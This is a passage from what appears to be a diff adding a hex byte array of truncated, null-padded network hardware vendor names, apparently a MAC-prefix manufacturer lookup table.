0x6c, 0x65, 0x63, 0x74, 0x72, +0x54, 0x65, 0x6b, 0x72, 0x61, 0x6d, 0x54, 0x65, +0x41, 0x72, 0x74, 0x69, 0x7a, 0x61, 0x4e, 0x65, +0x46, 0x69, 0x72, 0x73, 0x74, 0x50, 0x61, 0x63, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x2f, 0x53, 0x79, +0x56, 0x61, 0x72, 0x69, 0x61, 0x6e, 0x00, 0x00, +0x41, 0x6d, 0x64, 0x50, 0x63, 0x6e, 0x65, 0x74, +0x41, 0x63, 0x63, 0x75, 0x2d, 0x54, 0x69, 0x6d, +0x54, 0x53, 0x4d, 0x69, 0x63, 0x72, 0x6f, 0x74, +0x48, 0x74, 0x43, 0x6f, 0x6d, 0x6d, 0x75, 0x6e, +0x4e, 0x6a, 0x6b, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x41, 0x73, 0x74, 0x72, 0x6f, 0x6e, 0x6f, 0x76, +0x50, 0x65, 0x72, 0x6b, 0x69, 0x6e, 0x2d, 0x45, +0x50, 0x6d, 0x69, 0x46, 0x6f, 0x6f, 0x64, 0x45, +0x41, 0x73, 0x63, 0x58, 0x33, 0x2d, 0x49, 0x6e, +0x50, 0x68, 0x61, 0x73, 0x74, 0x00, 0x00, 0x00, +0x53, 0x77, 0x69, 0x74, 0x63, 0x68, 0x65, 0x64, +0x56, 0x70, 0x6e, 0x65, 0x74, 0x00, 0x00, 0x00, +0x4e, 0x69, 0x68, 0x6f, 0x6e, 0x55, 0x6e, 0x69, +0x47, 0x65, 0x77, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x50, 0x61, 0x72, 0x74, 0x69, 0x63, 0x6c, 0x65, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x73, 0x65, 0x6e, +0x54, 0x69, 0x64, 0x6f, 0x6d, 0x61, 0x74, 0x00, +0x47, 0x65, 0x73, 0x79, 0x74, 0x65, 0x63, 0x4d, +0x52, 0x65, 0x73, 0x69, 0x6c, 0x69, 0x65, 0x6e, +0x4d, 0x65, 0x67, 0x61, 0x63, 0x68, 0x69, 0x70, +0x54, 0x72, 0x69, 0x6f, 0x49, 0x6e, 0x66, 0x6f, +0x50, 0x61, 0x63, 0x69, 0x66, 0x69, 0x63, 0x4d, +0x48, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x70, 0x75, 0x74, 0x2f, 0x4f, 0x75, +0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x43, +0x47, 0x6c, 0x65, 0x6e, 0x61, 0x79, 0x72, 0x65, +0x4b, 0x65, 0x62, 0x61, 0x00, 0x00, 0x00, 0x00, +0x4c, 0x61, 0x6e, 0x64, 0x43, 0x6f, 0x6d, 0x70, +0x43, 0x68, 0x61, 0x6e, 0x6e, 0x65, 0x6c, 0x6d, +0x43, 0x6f, 0x72, 0x65, 0x6c, 0x69, 0x73, 0x00, +0x53, 0x61, 0x68, 0x61, 0x72, 0x61, 0x4e, 0x65, +0x4b, 0x65, 0x75, 0x6e, 0x79, 0x6f, 0x75, 0x6e, +0x45, 0x6e, 0x67, 0x69, 0x6e, 0x75, 0x69, 0x74, +0x57, 0x65, 0x62, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x4d, 0x61, 0x63, 0x72, 0x61, 0x69, 0x67, 0x6f, +0x4e, 0x65, 0x72, 0x61, 0x4e, 0x65, 0x74, 0x77, +0x57, 0x61, 0x76, 0x65, 0x73, 0x70, 0x61, 0x6e, +0x4d, 0x70, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x65, 0x74, 0x76, 0x69, 0x73, 0x69, 0x6f, +0x53, 0x6f, 0x6c, 0x69, 0x74, 0x6f, 0x6e, 0x4b, +0x41, 0x6e, 0x63, 0x6f, 0x74, 0x00, 0x00, 0x00, +0x44, 0x63, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x6d, 0x61, 0x74, 0x69, 0x43, 0x6f, 0x6d, +0x4b, 0x75, 0x6b, 0x61, 0x57, 0x65, 0x6c, 0x64, +0x48, 0x69, 0x74, 0x61, 0x63, 0x68, 0x69, 0x5a, +0x45, 0x6d, 0x74, 0x72, 0x61, 0x6b, 0x00, 0x00, +0x56, 0x69, 0x64, 0x65, 0x6f, 0x73, 0x65, 0x72, +0x41, 0x63, 0x63, 0x6c, 0x61, 0x69, 0x6d, 0x43, +0x41, 0x6c, 0x74, 0x65, 0x6f, 0x6e, 0x4e, 0x65, +0x53, 0x6e, 0x6d, 0x70, 0x52, 0x65, 0x73, 0x65, +0x45, 0x6c, 0x64, 0x61, 0x74, 0x43, 0x6f, 0x6d, +0x41, 0x6d, 0x61, 0x64, 0x61, 0x4d, 0x69, 0x79, +0x45, 0x63, 0x6f, 0x6c, 0x65, 0x50, 0x6f, 0x6c, +0x45, 0x6c, 0x6d, 0x69, 0x63, 0x00, 0x00, 0x00, +0x54, 0x72, 0x61, 0x6e, 0x73, 0x79, 0x73, 0x4e, +0x4e, 0x74, 0x70, 0x45, 0x6c, 0x65, 0x6b, 0x74, +0x4d, 0x79, 0x72, 0x69, 0x63, 0x6f, 0x6d, 0x00, +0x4b, 0x61, 0x79, 0x73, 0x65, 0x72, 0x2d, 0x54, +0x41, 0x78, 0x69, 0x6f, 0x6d, 0x54, 0x65, 0x63, +0x4f, 0x72, 0x63, 0x6b, 0x69, 0x74, 0x43, 0x6f, +0x51, 0x75, 0x65, 0x73, 0x74, 0x45, 0x6e, 0x67, +0x41, 0x72, 0x62, 0x69, 0x6e, 0x49, 0x6e, 0x73, +0x43, 0x6f, 0x6d, 0x70, 0x75, 0x73, 0x65, 0x72, +0x46, 0x75, 0x6a, 0x69, 0x41, 0x75, 0x74, 0x6f, +0x53, 0x68, 0x6f, 0x6d, 0x69, 0x74, 0x69, 0x00, +0x52, 0x61, 0x6e, 0x64, 0x61, 0x74, 0x61, 0x00, +0x48, 0x69, 0x74, 0x61, 0x63, 0x68, 0x69, 0x43, +0x41, 0x74, 0x6f, 0x70, 0x54, 0x65, 0x63, 0x68, +0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x6c, 0x6f, +0x46, 0x6f, 0x75, 0x72, 0x74, 0x68, 0x74, 0x72, +0x48, 0x65, 0x72, 0x6d, 0x61, 0x72, 0x79, 0x4f, +0x52, 0x69, 0x63, 0x61, 0x72, 0x64, 0x6f, 0x54, +0x41, 0x70, 0x6f, 0x6c, 0x6c, 0x6f, 0x00, 0x00, +0x46, 0x6c, 0x79, 0x74, 0x65, 0x63, 0x68, 0x54, +0x4a, 0x6f, 0x68, 0x6e, 0x73, 0x6f, 0x6e, 0x4a, +0x45, 0x78, 0x70, 0x43, 0x6f, 0x6d, 0x70, 0x75, +0x4c, 0x61, 0x73, 0x65, 0x72, 0x67, 0x72, 0x61, +0x49, 0x63, 0x6f, 0x6e, 0x57, 0x65, 0x73, 0x74, +0x4e, 0x65, 0x78, 0x74, 0x65, 0x73, 0x74, 0x43, +0x44, 0x61, 0x74, 0x61, 0x66, 0x75, 0x73, 0x69, +0x4c, 0x6f, 0x72, 0x61, 0x6e, 0x49, 0x6e, 0x74, +0x44, 0x69, 0x61, 0x6d, 0x6f, 0x6e, 0x64, 0x4c, +0x45, 0x64, 0x75, 0x63, 0x61, 0x74, 0x69, 0x6f, +0x50, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x65, 0x65, +0x43, 0x6f, 0x6e, 0x73, 0x65, 0x72, 0x76, 0x61, +0x4e, 0x65, 0x74, 0x69, 0x63, 0x73, 0x00, 0x00, +0x4c, 0x79, 0x6e, 0x78, 0x53, 0x79, 0x73, 0x74, +0x51, 0x75, 0x76, 0x69, 0x73, 0x00, 0x00, 0x00, +0x56, 0x75, 0x74, 0x72, 0x69, 0x78, 0x54, 0x65, +0x4d, 0x2f, 0x41, 0x2d, 0x43, 0x6f, 0x6d, 0x43, +0x44, 0x61, 0x74, 0x61, 0x52, 0x65, 0x63, 0x61, +0x41, 0x6d, 0x61, 0x7a, 0x6f, 0x6e, 0x54, 0x65, +0x50, 0x65, 0x67, 0x61, 0x74, 0x72, 0x6f, 0x6e, +0x4e, 0x65, 0x74, 0x63, 0x6f, 0x72, 0x65, 0x54, +0x52, 0x75, 0x69, 0x6a, 0x69, 0x65, 0x4e, 0x65, +0x49, 0x6e, 0x69, 0x64, 0x42, 0x76, 0x00, 0x00, +0x41, 0x6d, 0x70, 0x74, 0x4c, 0x6c, 0x63, 0x00, +0x53, 0x6f, 0x6d, 0x66, 0x79, 0x2d, 0x50, 0x72, +0x49, 0x67, 0x6e, 0x69, 0x74, 0x69, 0x6f, 0x6e, +0x53, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x00, 0x00, +0x56, 0x6f, 0x6c, 0x6b, 0x73, 0x77, 0x61, 0x67, +0x43, 0x68, 0x69, 0x6e, 0x61, 0x44, 0x72, 0x61, +0x50, 0x65, 0x72, 0x69, 0x70, 0x68, 0x6f, 0x6e, +0x53, 0x61, 0x74, 0x65, 0x6c, 0x63, 0x6f, 0x6d, +0x48, 0x79, 0x74, 0x65, 0x63, 0x45, 0x6c, 0x65, +0x41, 0x6e, 0x74, 0x6c, 0x6f, 0x77, 0x43, 0x6f, +0x43, 0x61, 0x63, 0x74, 0x75, 0x73, 0x43, 0x6f, +0x43, 0x6f, 0x6d, 0x70, 0x75, 0x61, 0x64, 0x64, +0x44, 0x6c, 0x6f, 0x67, 0x4e, 0x63, 0x2d, 0x53, +0x4a, 0x75, 0x70, 0x69, 0x74, 0x65, 0x72, 0x4f, +0x4a, 0x61, 0x70, 0x61, 0x6e, 0x43, 0x6f, 0x6d, +0x43, 0x73, 0x6b, 0x00, 0x00, 0x00, 0x00, 0x00, +0x56, 0x69, 0x64, 0x65, 0x63, 0x6f, 0x6d, 0x00, +0x56, 0x6f, 0x73, 0x73, 0x77, 0x69, 0x6e, 0x6b, +0x41, 0x74, 0x6c, 0x61, 0x6e, 0x74, 0x69, 0x78, +0x53, 0x4d, 0x43, 0x00, 0x00, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x6d, 0x6d, 0x6f, 0x64, 0x6f, 0x72, +0x49, 0x6d, 0x73, 0x49, 0x6d, 0x73, 0x46, 0x61, +0x45, 0x73, 0x70, 0x72, 0x69, 0x74, 0x00, 0x00, +0x53, 0x65, 0x69, 0x6b, 0x6f, 0x00, 0x00, 0x00, +0x57, 0x61, 0x6e, 0x64, 0x65, 0x6c, 0x47, 0x6f, +0x50, 0x66, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4b, 0x6f, 0x62, 0x65, 0x53, 0x74, 0x65, 0x65, +0x44, 0x61, 0x79, 0x6e, 0x61, 0x43, 0x6f, 0x6d, +0x42, 0x65, 0x6c, 0x6c, 0x41, 0x74, 0x6c, 0x61, +0x4b, 0x6f, 0x64, 0x69, 0x61, 0x6b, 0x54, 0x65, +0x58, 0x69, 0x6e, 0x65, 0x74, 0x72, 0x6f, 0x6e, +0x4b, 0x72, 0x75, 0x70, 0x70, 0x41, 0x74, 0x6c, +0x41, 0x6c, 0x63, 0x61, 0x74, 0x65, 0x6c, 0x43, +0x53, 0x63, 0x61, 0x6e, 0x2d, 0x4f, 0x70, 0x74, +0x4b, 0x61, 0x6c, 0x70, 0x61, 0x6e, 0x61, 0x00, +0x54, 0x65, 0x6c, 0x69, 0x74, 0x57, 0x69, 0x72, +0x54, 0x72, 0x61, 0x64, 0x70, 0x6f, 0x73, 0x74, +0x45, 0x61, 0x67, 0x6c, 0x65, 0x54, 0x65, 0x63, +0x54, 0x65, 0x73, 0x74, 0x53, 0x69, 0x6d, 0x75, +0x53, 0x61, 0x67, 0x65, 0x47, 0x72, 0x6f, 0x75, +0x58, 0x79, 0x6c, 0x6f, 0x67, 0x69, 0x63, 0x73, +0x4e, 0x65, 0x78, 0x75, 0x73, 0x45, 0x6c, 0x65, +0x42, 0x61, 0x73, 0x79, 0x73, 0x00, 0x00, 0x00, +0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x00, 0x00, +0x45, 0x6d, 0x73, 0x41, 0x76, 0x69, 0x61, 0x74, +0x53, 0x6d, 0x74, 0x2d, 0x47, 0x6f, 0x75, 0x70, +0x52, 0x65, 0x66, 0x6c, 0x65, 0x78, 0x4d, 0x61, +0x44, 0x61, 0x74, 0x61, 0x52, 0x65, 0x73, 0x65, +0x41, 0x6c, 0x63, 0x61, 0x74, 0x65, 0x6c, 0x53, +0x56, 0x61, 0x72, 0x69, 0x74, 0x79, 0x70, 0x65, +0x41, 0x70, 0x74, 0x43, 0x6f, 0x6d, 0x6d, 0x75, +0x54, 0x76, 0x73, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x53, 0x75, 0x72, 0x69, 0x67, 0x69, 0x6b, 0x65, +0x53, 0x79, 0x6e, 0x65, 0x72, 0x6e, 0x65, 0x74, +0x54, 0x61, 0x74, 0x75, 0x6e, 0x67, 0x00, 0x00, +0x4a, 0x6f, 0x68, 0x6e, 0x46, 0x6c, 0x75, 0x6b, +0x56, 0x65, 0x62, 0x4b, 0x6f, 0x6d, 0x62, 0x69, +0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x6c, 0x64, +0x53, 0x79, 0x73, 0x74, 0x65, 0x63, 0x68, 0x43, +0x49, 0x6e, 0x2d, 0x4e, 0x65, 0x74, 0x00, 0x00, +0x43, 0x6f, 0x6d, 0x70, 0x65, 0x78, 0x55, 0x73, +0x4e, 0x69, 0x73, 0x73, 0x69, 0x6e, 0x45, 0x6c, +0x50, 0x72, 0x6f, 0x2d, 0x4c, 0x6f, 0x67, 0x00, +0x43, 0x6f, 0x6e, 0x74, 0x65, 0x63, 0x00, 0x00, +0x43, 0x79, 0x63, 0x6c, 0x6f, 0x6e, 0x65, 0x4d, +0x41, 0x70, 0x65, 0x78, 0x43, 0x6f, 0x6d, 0x70, +0x44, 0x61, 0x69, 0x6b, 0x69, 0x6e, 0x49, 0x6e, +0x5a, 0x69, 0x61, 0x74, 0x65, 0x63, 0x68, 0x00, +0x41, 0x64, 0x63, 0x46, 0x69, 0x62, 0x65, 0x72, +0x49, 0x6e, 0x74, 0x65, 0x6c, 0x6c, 0x69, 0x63, +0x46, 0x65, 0x72, 0x6d, 0x69, 0x6c, 0x61, 0x62, +0x53, 0x70, 0x68, 0x69, 0x6e, 0x78, 0x45, 0x6c, +0x41, 0x64, 0x73, 0x6f, 0x66, 0x74, 0x00, 0x00, +0x53, 0x74, 0x61, 0x6e, 0x6c, 0x65, 0x79, 0x45, +0x54, 0x75, 0x6c, 0x69, 0x70, 0x43, 0x6f, 0x6d, +0x43, 0x6f, 0x6e, 0x64, 0x6f, 0x72, 0x00, 0x00, +0x41, 0x67, 0x69, 0x6c, 0x69, 0x73, 0x00, 0x00, +0x43, 0x61, 0x6e, 0x73, 0x74, 0x61, 0x72, 0x00, +0x4c, 0x73, 0x69, 0x4c, 0x6f, 0x67, 0x69, 0x63, +0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x49, +0x4c, 0x69, 0x74, 0x74, 0x6f, 0x6e, 0x00, 0x00, +0x52, 0x69, 0x63, 0x68, 0x61, 0x72, 0x64, 0x48, +0x57, 0x79, 0x73, 0x65, 0x00, 0x00, 0x00, 0x00, +0x43, 0x79, 0x62, 0x65, 0x72, 0x67, 0x72, 0x61, +0x41, 0x72, 0x63, 0x6f, 0x6d, 0x43, 0x6f, 0x6e, +0x53, 0x71, 0x75, 0x61, 0x72, 0x65, 0x44, 0x00, +0x59, 0x61, 0x6d, 0x61, 0x74, 0x65, 0x63, 0x68, +0x43, 0x6f, 0x6d, 0x70, 0x75, 0x74, 0x6f, 0x6e, +0x45, 0x72, 0x69, 0x45, 0x6d, 0x70, 0x61, 0x63, +0x53, 0x63, 0x68, 0x6d, 0x69, 0x64, 0x54, 0x65, +0x43, 0x65, 0x67, 0x65, 0x6c, 0x65, 0x63, 0x50, +0x43, 0x65, 0x6e, 0x74, 0x75, 0x72, 0x79, 0x00, +0x4e, 0x69, 0x70, 0x70, 0x6f, 0x6e, 0x53, 0x74, +0x4f, 0x6e, 0x65, 0x6c, 0x61, 0x6e, 0x00, 0x00, +0x53, 0x61, 0x69, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x44, 0x77, 0x62, 0x41, 0x73, 0x73, 0x6f, 0x63, +0x46, 0x69, 0x73, 0x68, 0x65, 0x72, 0x43, 0x6f, +0x50, 0x61, 0x72, 0x73, 0x79, 0x74, 0x65, 0x63, +0x4d, 0x63, 0x6e, 0x63, 0x00, 0x00, 0x00, 0x00, +0x50, 0x72, 0x61, 0x63, 0x74, 0x69, 0x63, 0x61, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x62, 0x75, 0x73, +0x41, 0x69, 0x74, 0x65, 0x63, 0x68, 0x00, 0x00, +0x41, 0x72, 0x74, 0x65, 0x6c, 0x43, 0x6f, 0x6d, +0x46, 0x69, 0x62, 0x65, 0x72, 0x63, 0x6f, 0x6d, +0x45, 0x71, 0x75, 0x69, 0x6e, 0x6f, 0x78, 0x00, +0x44, 0x79, 0x2d, 0x34, 0x00, 0x00, 0x00, 0x00, +0x44, 0x61, 0x74, 0x61, 0x6d, 0x65, 0x64, 0x69, +0x4b, 0x65, 0x6e, 0x64, 0x61, 0x6c, 0x6c, 0x53, +0x50, 0x65, 0x70, 0x4d, 0x6f, 0x64, 0x75, 0x6c, +0x41, 0x6d, 0x64, 0x61, 0x68, 0x6c, 0x00, 0x00, +0x43, 0x6c, 0x6f, 0x75, 0x64, 0x00, 0x00, 0x00, +0x48, 0x2d, 0x54, 0x68, 0x72, 0x65, 0x65, 0x00, +0x4f, 0x6b, 0x69, 0x64, 0x61, 0x74, 0x61, 0x00, +0x56, 0x69, 0x63, 0x74, 0x6f, 0x72, 0x4f, 0x66, +0x54, 0x65, 0x63, 0x6e, 0x65, 0x74, 0x69, 0x63, +0x53, 0x75, 0x6d, 0x6d, 0x69, 0x74, 0x00, 0x00, +0x44, 0x61, 0x63, 0x6f, 0x6c, 0x6c, 0x00, 0x00, +0x4e, 0x65, 0x74, 0x73, 0x63, 0x6f, 0x75, 0x74, +0x57, 0x65, 0x73, 0x74, 0x63, 0x6f, 0x76, 0x65, +0x52, 0x61, 0x64, 0x73, 0x74, 0x6f, 0x6e, 0x65, +0x43, 0x49, 0x74, 0x6f, 0x68, 0x45, 0x6c, 0x65, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x74, 0x65, 0x6b, +0x58, 0x79, 0x72, 0x6f, 0x6e, 0x00, 0x00, 0x00, +0x41, 0x6c, 0x66, 0x61, 0x4c, 0x61, 0x76, 0x61, +0x42, 0x61, 0x73, 0x69, 0x63, 0x4d, 0x65, 0x72, +0x48, 0x44, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, +0x43, 0x65, 0x6e, 0x74, 0x72, 0x61, 0x6c, 0x70, +0x54, 0x64, 0x6b, 0x00, 0x00, 0x00, 0x00, 0x00, +0x45, 0x61, 0x74, 0x6f, 0x6e, 0x49, 0x6e, 0x64, +0x4e, 0x6f, 0x76, 0x75, 0x73, 0x4e, 0x65, 0x74, +0x4a, 0x75, 0x73, 0x74, 0x73, 0x79, 0x73, 0x74, +0x4c, 0x75, 0x78, 0x63, 0x6f, 0x6d, 0x00, 0x00, +0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x63, 0x72, 0x61, +0x44, 0x61, 0x74, 0x75, 0x73, 0x00, 0x00, 0x00, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x74, 0x65, 0x73, +0x4c, 0x61, 0x6e, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x4c, 0x69, 0x62, 0x65, 0x72, 0x74, 0x79, 0x45, +0x53, 0x70, 0x65, 0x65, 0x64, 0x49, 0x6e, 0x74, +0x52, 0x65, 0x70, 0x75, 0x62, 0x6c, 0x69, 0x63, +0x56, 0x69, 0x74, 0x61, 0x63, 0x6f, 0x6d, 0x00, +0x43, 0x6c, 0x65, 0x61, 0x72, 0x70, 0x6f, 0x69, +0x4d, 0x61, 0x78, 0x70, 0x65, 0x65, 0x64, 0x00, +0x44, 0x75, 0x6b, 0x61, 0x6e, 0x65, 0x4e, 0x65, +0x49, 0x6d, 0x6c, 0x6f, 0x67, 0x69, 0x78, 0x44, +0x48, 0x75, 0x67, 0x68, 0x65, 0x73, 0x4e, 0x65, +0x41, 0x6c, 0x6c, 0x75, 0x6d, 0x65, 0x72, 0x00, +0x53, 0x6f, 0x66, 0x74, 0x63, 0x6f, 0x6d, 0x00, +0x4e, 0x65, 0x74, 0x4e, 0x65, 0x74, 0x77, 0x6f, +0x41, 0x76, 0x61, 0x6c, 0x44, 0x61, 0x74, 0x61, +0x53, 0x6f, 0x70, 0x68, 0x69, 0x61, 0x00, 0x00, +0x55, 0x6e, 0x69, 0x74, 0x65, 0x64, 0x4e, 0x65, +0x54, 0x68, 0x65, 0x6d, 0x69, 0x73, 0x00, 0x00, +0x53, 0x74, 0x65, 0x6c, 0x6c, 0x61, 0x72, 0x43, +0x44, 0x6d, 0x67, 0x4d, 0x6f, 0x72, 0x69, 0x42, +0x41, 0x72, 0x63, 0x68, 0x65, 0x54, 0x65, 0x63, +0x53, 0x70, 0x65, 0x63, 0x69, 0x61, 0x6c, 0x69, +0x48, 0x75, 0x67, 0x68, 0x65, 0x73, 0x4c, 0x61, +0x48, 0x69, 0x74, 0x61, 0x63, 0x68, 0x69, 0x45, +0x46, 0x75, 0x72, 0x75, 0x6b, 0x61, 0x77, 0x61, +0x41, 0x72, 0x69, 0x65, 0x73, 0x52, 0x65, 0x73, +0x54, 0x61, 0x6b, 0x61, 0x6f, 0x6b, 0x61, 0x45, +0x50, 0x65, 0x6e, 0x72, 0x69, 0x6c, 0x44, 0x61, +0x4c, 0x61, 0x6e, 0x65, 0x78, 0x00, 0x00, 0x00, +0x42, 0x69, 0x63, 0x63, 0x49, 0x6e, 0x66, 0x6f, +0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, +0x4e, 0x6f, 0x76, 0x65, 0x6c, 0x6c, 0x63, 0x6f, +0x44, 0x2d, 0x4c, 0x69, 0x6e, 0x6b, 0x41, 0x6c, +0x41, 0x6c, 0x62, 0x65, 0x72, 0x74, 0x61, 0x4d, +0x4e, 0x65, 0x74, 0x63, 0x6f, 0x6d, 0x52, 0x65, +0x46, 0x61, 0x6c, 0x63, 0x6f, 0x44, 0x61, 0x74, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x6e, 0x69, 0x63, +0x42, 0x72, 0x6f, 0x61, 0x64, 0x63, 0x61, 0x73, +0x4b, 0x69, 0x6d, 0x74, 0x72, 0x6f, 0x6e, 0x00, +0x53, 0x68, 0x69, 0x6e, 0x6e, 0x69, 0x68, 0x6f, +0x53, 0x68, 0x69, 0x76, 0x61, 0x41, 0x70, 0x70, +0x43, 0x68, 0x61, 0x73, 0x65, 0x00, 0x00, 0x00, +0x43, 0x61, 0x64, 0x72, 0x65, 0x54, 0x65, 0x63, +0x4e, 0x75, 0x76, 0x6f, 0x74, 0x65, 0x63, 0x68, +0x46, 0x61, 0x6e, 0x74, 0x75, 0x6d, 0x45, 0x6c, +0x45, 0x6d, 0x6b, 0x45, 0x6c, 0x65, 0x6b, 0x74, +0x42, 0x72, 0x75, 0x65, 0x6c, 0x4b, 0x6a, 0x61, +0x47, 0x72, 0x61, 0x70, 0x68, 0x6f, 0x6e, 0x00, +0x50, 0x69, 0x63, 0x6b, 0x65, 0x72, 0x49, 0x6e, +0x47, 0x6d, 0x78, 0x49, 0x6e, 0x63, 0x2f, 0x47, +0x47, 0x69, 0x70, 0x73, 0x69, 0x53, 0x41, 0x00, +0x58, 0x74, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, +0x53, 0x74, 0x6d, 0x69, 0x63, 0x72, 0x6f, 0x65, +0x54, 0x44, 0x49, 0x00, 0x00, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x72, 0x61, 0x6c, 0x00, 0x00, 0x00, +0x4e, 0x65, 0x74, 0x61, 0x70, 0x70, 0x00, 0x00, +0x50, 0x65, 0x65, 0x72, 0x4e, 0x65, 0x74, 0x77, +0x4c, 0x65, 0x6f, 0x6e, 0x61, 0x72, 0x64, 0x6f, +0x43, 0x75, 0x6d, 0x75, 0x6c, 0x75, 0x73, 0x43, +0x43, 0x6f, 0x6d, 0x70, 0x63, 0x6f, 0x6e, 0x74, +0x49, 0x71, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x54, 0x68, 0x6f, 0x6d, 0x73, 0x6f, 0x6e, 0x43, +0x52, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x61, 0x6c, +0x4f, 0x70, 0x75, 0x73, 0x00, 0x00, 0x00, 0x00, +0x53, 0x75, 0x6e, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x54, 0x65, 0x6c, 0x65, 0x6d, 0x65, 0x63, 0x68, +0x51, 0x75, 0x61, 0x6e, 0x74, 0x65, 0x6c, 0x00, +0x53, 0x79, 0x6e, 0x65, 0x72, 0x67, 0x79, 0x4d, +0x5a, 0x65, 0x6e, 0x69, 0x74, 0x68, 0x43, 0x6f, +0x4d, 0x69, 0x7a, 0x61, 0x72, 0x00, 0x00, 0x00, +0x48, 0x65, 0x75, 0x72, 0x69, 0x6b, 0x6f, 0x6e, +0x52, 0x77, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x42, 0x76, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x76, 0x61, 0x74, 0x61, 0x72, 0x00, 0x00, +0x45, 0x78, 0x73, 0x63, 0x65, 0x65, 0x64, 0x43, +0x41, 0x7a, 0x75, 0x72, 0x65, 0x54, 0x65, 0x63, +0x53, 0x6f, 0x63, 0x44, 0x65, 0x54, 0x65, 0x6c, +0x4d, 0x69, 0x78, 0x69, 0x00, 0x00, 0x00, 0x00, +0x42, 0x6c, 0x61, 0x63, 0x6b, 0x42, 0x6f, 0x78, +0x43, 0x6a, 0x73, 0x63, 0x4e, 0x69, 0x69, 0x53, +0x4c, 0x69, 0x6e, 0x6b, 0x4f, 0x6e, 0x65, 0x00, +0x44, 0x69, 0x61, 0x6d, 0x6f, 0x6e, 0x64, 0x4d, +0x4e, 0x69, 0x73, 0x68, 0x69, 0x6d, 0x75, 0x45, +0x41, 0x6c, 0x6c, 0x67, 0x6f, 0x6e, 0x00, 0x00, +0x41, 0x70, 0x6c, 0x69, 0x6f, 0x00, 0x00, 0x00, +0x50, 0x72, 0x6f, 0x74, 0x65, 0x63, 0x68, 0x00, +0x44, 0x6f, 0x6d, 0x65, 0x78, 0x54, 0x65, 0x63, +0x48, 0x61, 0x6e, 0x61, 0x00, 0x00, 0x00, 0x00, +0x50, 0x72, 0x6f, 0x74, 0x6f, 0x6e, 0x45, 0x6c, +0x4c, 0x61, 0x6e, 0x6e, 0x65, 0x72, 0x45, 0x6c, +0x4f, 0x76, 0x65, 0x72, 0x6c, 0x61, 0x6e, 0x64, +0x48, 0x61, 0x6e, 0x64, 0x6c, 0x69, 0x6e, 0x6b, +0x53, 0x69, 0x6d, 0x75, 0x6c, 0x61, 0x74, 0x69, +0x57, 0x61, 0x76, 0x74, 0x72, 0x61, 0x63, 0x65, +0x47, 0x6c, 0x6f, 0x62, 0x65, 0x73, 0x70, 0x61, +0x53, 0x61, 0x6d, 0x73, 0x61, 0x6e, 0x00, 0x00, +0x52, 0x6f, 0x74, 0x6f, 0x72, 0x6b, 0x49, 0x6e, +0x43, 0x65, 0x6e, 0x74, 0x69, 0x67, 0x72, 0x61, +0x5a, 0x61, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x5a, 0x79, 0x70, 0x63, 0x6f, 0x6d, 0x00, 0x00, +0x49, 0x74, 0x6f, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x48, 0x65, 0x72, 0x6d, 0x65, 0x73, 0x45, 0x6c, +0x55, 0x6e, 0x69, 0x73, 0x70, 0x68, 0x65, 0x72, +0x4d, 0x70, 0x73, 0x53, 0x6f, 0x66, 0x74, 0x77, +0x50, 0x65, 0x63, 0x4e, 0x7a, 0x00, 0x00, 0x00, +0x53, 0x65, 0x6c, 0x65, 0x73, 0x74, 0x61, 0x49, +0x41, 0x64, 0x74, 0x65, 0x63, 0x50, 0x72, 0x6f, +0x50, 0x68, 0x69, 0x6c, 0x69, 0x70, 0x73, 0x41, +0x49, 0x76, 0x65, 0x78, 0x00, 0x00, 0x00, 0x00, +0x5a, 0x69, 0x6c, 0x6f, 0x67, 0x00, 0x00, 0x00, +0x50, 0x69, 0x70, 0x65, 0x6c, 0x69, 0x6e, 0x6b, +0x42, 0x61, 0x65, 0x41, 0x75, 0x73, 0x74, 0x72, +0x4e, 0x69, 0x70, 0x70, 0x6f, 0x6e, 0x53, 0x69, +0x43, 0x72, 0x79, 0x70, 0x74, 0x6f, 0x00, 0x00, +0x43, 0x69, 0x73, 0x63, 0x6f, 0x45, 0x74, 0x68, +0x44, 0x61, 0x74, 0x61, 0x43, 0x6f, 0x6e, 0x74, +0x44, 0x61, 0x74, 0x61, 0x45, 0x6c, 0x65, 0x63, +0x4e, 0x61, 0x6d, 0x63, 0x6f, 0x00, 0x00, 0x00, +0x4d, 0x79, 0x73, 0x74, 0x69, 0x63, 0x6f, 0x6d, +0x50, 0x65, 0x6c, 0x63, 0x6f, 0x6d, 0x62, 0x65, +0x49, 0x6e, 0x6e, 0x6f, 0x76, 0x61, 0x70, 0x68, +0x49, 0x6d, 0x61, 0x67, 0x69, 